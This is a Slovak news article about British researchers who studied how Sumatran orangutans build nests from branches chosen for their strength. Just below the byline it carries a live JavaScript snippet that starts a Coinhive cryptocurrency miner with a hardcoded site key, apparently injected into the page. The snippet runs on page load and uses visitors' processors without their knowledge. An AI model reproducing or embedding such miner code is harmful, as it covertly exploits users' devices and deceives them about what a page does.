

Orangutany majú rozvinuté staviteľské schopnosti

Napísal Admin

Utorok, 17 Apríl 2012 09:50

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



BRATISLAVA 17. apríla (WEBNOVINY) - Britskí vedci z The University of Manchester zistili, že orangutany pri stavbe svojich hniezd využívajú rozvinuté staviteľské schopnosti. Tím Adama van Casterena strávil rok na severe indonézskeho ostrova Sumatra, kde sledoval a filmoval orangutany sumatrianske (Pongo abelli).

Vedcov predovšetkým zaujímalo, ako tieto primáty konštruujú svoje hniezda. Počkali preto, kým ich ráno opustia a následne vyliezli na stromy, aby hniezda zmerali. Niektoré z nich zniesli na zem, aby ich detailnejšie preskúmali.

Zistili, že orangutany si z hrubších konárov najprv vytvoria kostru hniezda, pričom využívajú ohybnosť vetiev. Kostru hniezda vystelú tenšími vetvami s listami. Týmto spôsobom vytvoria pevné a zároveň pohodlné hniezdo, ktoré dokážu zhotoviť za niekoľko minút.

Mechanické testy odhalili, že orangutany si vyberajú konáre na základe ich štruktúrnych vlastností. "Samce orangutanov môžu vážiť až 80 kilogramov a hniezda si stavajú vysoko v korunách stromov, takže musia byť veľmi pevné," uviedol van Casteren, ktorý spolu s kolegami uverejnil výsledky svojho výskumu v časopise PNAS.

Informácie pochádzajú z webstránky www.bbc.co.uk.